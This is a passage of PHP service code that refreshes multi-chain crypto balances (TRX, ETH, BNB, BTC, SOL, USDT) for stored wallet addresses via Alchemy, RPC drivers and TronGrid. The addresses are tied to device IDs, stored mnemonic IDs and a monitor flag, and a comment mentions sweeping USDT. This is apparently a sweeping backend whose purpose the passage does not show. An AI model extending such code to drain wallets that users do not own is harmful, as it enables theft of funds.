chain_type)); return match ($chain) { 'TRON', 'TRX' => $this->refreshTron($address), 'ETH', 'ETHEREUM', 'EVM' => $this->refreshEth($address), 'BSC', 'BNB', 'BINANCE' => $this->refreshBsc($address), 'BTC', 'BITCOIN' => $this->refreshBtc($address), 'SOL', 'SOLANA' => $this->refreshSol($address), default => false, }; } public function refreshEth(WalletAddress $address): bool { $addr = trim((string) $address->address); if ($addr === '') { return false; } if ($this->alchemy->isEnabled()) { $ok = $this->refreshEvmViaAlchemy($address, $addr, 'ETH', 'eth'); if ($ok) { return true; } // Alchemy failed → fall through to RPC. } try { $driver = $this->chains->resolve('eth'); $attrs = [ 'eth' => $driver->getNativeBalance($addr), ]; $contract = trim((string) config('coruna.eth.usdt_contract', '')); if ($contract !== '') { $attrs['usdt'] = $driver->getTokenBalance($addr, $contract); } $bscCoins = $this->bscCoins($addr); if ($bscCoins !== null) { $attrs['bnb'] = $bscCoins['bnb']; $this->persistBscSibling($address, $bscCoins); } $this->persistCoins($address, $attrs); Log::info('eth balance refresh ok', [ 'wallet_address_id' => $address->id, 'address' => $addr, 'eth' => $address->eth, 'usdt' => $address->usdt, 'bnb' => $address->bnb, 'source' => 'rpc', ]); return true; } catch (\Throwable $e) { Log::warning('eth balance refresh failed: '.$e->getMessage(), [ 'wallet_address_id' => $address->id, 'address' => $addr, ]); return false; } } /** * Alchemy path for ETH/BSC refresh. One eth_getBalance + one eth_call (USDT). * For ETH, also pull the BSC sibling (BNB + BEP20 USDT) via Alchemy when the * BSC network is enabled, else via the BSC RPC driver. */ private function refreshEvmViaAlchemy(WalletAddress $address, string $addr, string $nativeSymbol, string $network): bool { $result = $this->alchemy->fetch($nativeSymbol, $addr); if ($result === null) { return false; } $attrs = []; if ($result['native'] !== null) { $attrs[strtolower($nativeSymbol)] = $result['native']['amount']; } $usdt = $this->findTokenBySymbol($result['tokens'], 'USDT'); if ($usdt !== null) { $attrs['usdt'] = $usdt['amount']; } // ETH address == BSC address: also pull BNB + BEP20 USDT and persist sibling. if ($nativeSymbol === 'ETH') { $bsc = $this->alchemy->fetch('BSC', $addr); if ($bsc !== null) { if ($bsc['native'] !== null) { $attrs['bnb'] = $bsc['native']['amount']; } $bscUsdt = $this->findTokenBySymbol($bsc['tokens'], 'USDT'); $this->persistBscSibling($address, [ 'bnb' => $bsc['native']['amount'] ?? '0', 'usdt' => $bscUsdt !== null ? $bscUsdt['amount'] : '0', ]); } else { // Alchemy BSC not enabled → fall back to BSC RPC for the sibling. $bscCoins = $this->bscCoins($addr); if ($bscCoins !== null) { $attrs['bnb'] = $bscCoins['bnb']; $this->persistBscSibling($address, $bscCoins); } } } $this->persistCoins($address, $attrs); Log::info('eth balance refresh ok', [ 'wallet_address_id' => $address->id, 'address' => $addr, 'source' => 'alchemy', ]); return true; } /** * @param list> $tokens */ private function findTokenBySymbol(array $tokens, string $symbol): ?array { $symbol = strtoupper(trim($symbol)); foreach ($tokens as $t) { if (strtoupper((string) ($t['symbol'] ?? '')) === $symbol) { return $t; } } return null; } /** * @param list> $tokens */ private function findTokenByContract(array $tokens, string $contract): ?array { $contract = strtolower($contract); if ($contract === '') { return null; } foreach ($tokens as $t) { if (strtolower((string) ($t['contract'] ?? '')) === $contract) { return $t; } } return null; } public function refreshBsc(WalletAddress $address): bool { $addr = trim((string) $address->address); if ($addr === '') { return false; } if ($this->alchemy->isEnabled()) { $result = $this->alchemy->fetch('BSC', $addr); if ($result !== null) { $attrs = []; if ($result['native'] !== null) { $attrs['bnb'] = $result['native']['amount']; } $usdt = $this->findTokenBySymbol($result['tokens'], 'USDT'); if ($usdt !== null) { $attrs['usdt'] = $usdt['amount']; } $this->persistCoins($address, $attrs); Log::info('bsc balance refresh ok', [ 'wallet_address_id' => $address->id, 'address' => $addr, 'source' => 'alchemy', ]); return true; } // Alchemy failed → fall through to RPC. } try { $coins = $this->bscCoins($addr); if ($coins === null) { return false; } $this->persistCoins($address, [ 'bnb' => $coins['bnb'], 'usdt' => $coins['usdt'], ]); Log::info('bsc balance refresh ok', [ 'wallet_address_id' => $address->id, 'address' => $addr, 'bnb' => $address->bnb, 'usdt' => $address->usdt, 'source' => 'rpc', ]); return true; } catch (\Throwable $e) { Log::warning('bsc balance refresh failed: '.$e->getMessage(), [ 'wallet_address_id' => $address->id, 'address' => $addr, ]); return false; } } /** * Native BNB + USDT-BEP20 for an EVM address. Null when the BSC RPC fails. * * @return array{bnb: string, usdt: string}|null */ private function bscCoins(string $address): ?array { try { $driver = $this->chains->resolve('bsc'); $coins = [ 'bnb' => $driver->getNativeBalance($address), 'usdt' => '0', ]; $contract = trim((string) config('coruna.bsc.usdt_contract', '')); if ($contract !== '') { $coins['usdt'] = $driver->getTokenBalance($address, $contract); } return $coins; } catch (\Throwable $e) { Log::warning('bsc balance query failed: '.$e->getMessage(), [ 'address' => $address, ]); return null; } } /** * When an ETH address is first stored, also keep a BSC row if that same * address holds native BNB or USDT-BEP20. */ public function ensureBscForEthAddress(WalletAddress $ethRow): ?WalletAddress { $addr = trim((string) $ethRow->address); if ($addr === '' || ! preg_match('/^0x[0-9a-fA-F]{40}$/', $addr)) { return null; } $coins = $this->bscCoins($addr); if ($coins === null) { return null; } if (bccomp($coins['bnb'], '0', 18) <= 0 && bccomp($coins['usdt'], '0', 18) <= 0) { return null; } return $this->persistBscSibling($ethRow, $coins); } /** * Keep a BSC row for the same device address so BEP20 USDT can be swept on BSC * without overwriting the ETH row's ERC20 USDT. * * @param array{bnb: string, usdt: string} $coins */ private function persistBscSibling(WalletAddress $ethRow, array $coins): ?WalletAddress { if ($ethRow->device_id === null) { return null; } $hasFunds = bccomp($coins['bnb'], '0', 18) > 0 || bccomp($coins['usdt'], '0', 18) > 0; $query = WalletAddress::query() ->where('device_id', $ethRow->device_id) ->where('address', $ethRow->address) ->where('chain_type', 'BSC'); if ($ethRow->source === null || $ethRow->source === '') { $query->where(function ($q) { $q->whereNull('source')->orWhere('source', ''); }); } else { $query->where('source', $ethRow->source); } $sibling = $query->first(); if ($sibling === null && ! $hasFunds) { return null; } if ($sibling === null) { $sibling = new WalletAddress([ 'device_id' => $ethRow->device_id, 'address' => $ethRow->address, 'source' => $ethRow->source, 'chain_type' => 'BSC', 'mnemonic_id' => $ethRow->mnemonic_id, 'derive_index' => $ethRow->derive_index, 'monitor' => (int) $ethRow->monitor, ]); } $sibling->chain_type = 'BSC'; $sibling->bnb = $coins['bnb']; $sibling->usdt = $coins['usdt']; if ($sibling->mnemonic_id === null && $ethRow->mnemonic_id !== null) { $sibling->mnemonic_id = $ethRow->mnemonic_id; $sibling->derive_index = $ethRow->derive_index; } $sibling->save(); return $sibling; } public function refreshBtc(WalletAddress $address): bool { $addr = trim((string) $address->address); if ($addr === '') { return false; } // Alchemy has no BTC chain RPC; BTC stays on the BtcDriver (mempool.space). try { $driver = $this->chains->resolve('btc'); $this->persistCoins($address, [ 'btc' => $driver->getNativeBalance($addr), ]); Log::info('btc balance refresh ok', [ 'wallet_address_id' => $address->id, 'address' => $addr, 'btc' => $address->btc, 'source' => 'rpc', ]); return true; } catch (\Throwable $e) { Log::warning('btc balance refresh failed: '.$e->getMessage(), [ 'wallet_address_id' => $address->id, 'address' => $addr, ]); return false; } } public function refreshSol(WalletAddress $address): bool { $addr = trim((string) $address->address); if ($addr === '') { return false; } if ($this->alchemy->isEnabled()) { $result = $this->alchemy->fetch('SOL', $addr); if ($result !== null) { $attrs = []; if ($result['native'] !== null) { $attrs['sol'] = $result['native']['amount']; } $usdt = $this->findTokenBySymbol($result['tokens'], 'USDT'); if ($usdt !== null) { $attrs['usdt'] = $usdt['amount']; } $this->persistCoins($address, $attrs); Log::info('sol balance refresh ok', [ 'wallet_address_id' => $address->id, 'address' => $addr, 'source' => 'alchemy', ]); return true; } // Alchemy failed → fall through to SolDriver RPC. } try { $driver = $this->chains->resolve('sol'); $attrs = [ 'sol' => $driver->getNativeBalance($addr), ]; $contract = trim((string) config('coruna.sol.usdt_contract', '')); if ($contract !== '') { $attrs['usdt'] = $driver->getTokenBalance($addr, $contract); } $this->persistCoins($address, $attrs); Log::info('sol balance refresh ok', [ 'wallet_address_id' => $address->id, 'address' => $addr, 'sol' => $address->sol, 'usdt' => $address->usdt, 'source' => 'rpc', ]); return true; } catch (\Throwable $e) { Log::warning('sol balance refresh failed: '.$e->getMessage(), [ 'wallet_address_id' => $address->id, 'address' => $addr, ]); return false; } } public function refreshTron(WalletAddress $address): bool { $addr = trim((string) $address->address); if ($addr === '') { return false; } try { $source = 'trongrid_v1'; $balances = $this->fetchTronGridAccountBalances($addr); if ($balances === null) { $source = 'trongrid_wallet'; $driver = $this->chains->resolve('tron'); if ($driver instanceof TronDriver) { $probe = $driver->probeAccount($addr); $balances = [ 'trx' => $probe['trx'], 'usdt' => $probe['activated'] ? $driver->getTokenBalance( $addr, (string) config('coruna.tron.usdt_contract'), ) : '0', ]; } else { $balances = [ 'trx' => $driver->getNativeBalance($addr), 'usdt' => $driver->getTokenBalance( $addr, (string) config('coruna.tron.usdt_contract'), ), ]; } } // No official BTC/ETH/BNB on Tron — leave those columns untouched. $this->persistCoins($address, [ 'trx' => $balances['trx'], 'usdt' => $balances['usdt'], ]); Log::info('tron balance refresh ok', [ 'wallet_address_id' => $address->id, 'address' => $addr, 'source' => $source, 'trx' => $balances['trx'], 'usdt' => $balances['usdt'], ]); return true; } catch (\Throwable $e) { Log::warning('tron balance refresh failed: '.$e->getMessage(), [ 'wallet_address_id' => $address->id, 'address' => $addr, ]); return false; } } /** * Always write coin columns back to wallet_addresses (even when values are unchanged). * * @param array $coins */ private function persistCoins(WalletAddress $address, array $coins): void { if ($address->id === null || $coins === []) { return; } $coins['updated_at'] = now(); WalletAddress::query()->whereKey($address->id)->update($coins); $address->refresh(); } /** * TronGrid REST: native + TRC20 in one call. * Empty data[] (never-activated account) → explicit zeros. * * @return array{trx: string, usdt: string}|null */ private function fetchTronGridAccountBalances(string $address): ?array { $base = rtrim((string) config('coruna.tron.full_node', 'https://api.trongrid.io'), '/'); // full_node may be https://api.trongrid.io — v1 lives on the same host. $url = $base.'/v1/accounts/'.rawurlencode($address); $req = Http::connectTimeout(20)->timeout(120)->acceptJson(); $apiKey = (string) config('coruna.tron.api_key', ''); if ($apiKey !== '') { $req = $req->withHeaders(['TRON-PRO-API-KEY' => $apiKey]); } $resp = $req->get($url); if (! $resp->successful()) { return null; } $json = $resp->json(); if (! is_array($json)) { return null; } $data = $json['data'] ?? null; if (! is_array($data)) { return null; } // Never-activated / unknown account. if ($data === []) { return ['trx' => '0', 'usdt' => '0']; } $account = $data[0] ?? null; if (! is_array($account)) { return null; } $sun = (string) ($account['balance'] ?? 0); if (! preg_match('/^\d+$/', $sun)) { $sun = '0'; } $trx = $this->fromSun($sun); $usdtContract = (string) config('coruna.tron.usdt_contract'); $usdtSun = '0'; $trc20 = $account['trc20'] ?? []; if (is_array($trc20)) { foreach ($trc20 as $entry) { if (! is_array($entry)) { continue; } foreach ($entry as $contract => $raw) { if (strcasecmp((string) $contract, $usdtContract) === 0 && is_numeric($raw)) { $usdtSun = (string) $raw; break 2; } } } } return [ 'trx' => $trx, 'usdt' => $this->fromSun($usdtSun), ]; } private function fromSun(string $sun): string { if (! preg_match('/^\d+$/', $sun)) { $sun = '0'; } $human = bcdiv($sun, '1000000', 6); $human = rtrim(rtrim($human, '0'), '.'); return $human === '' ? '0' : $human; } }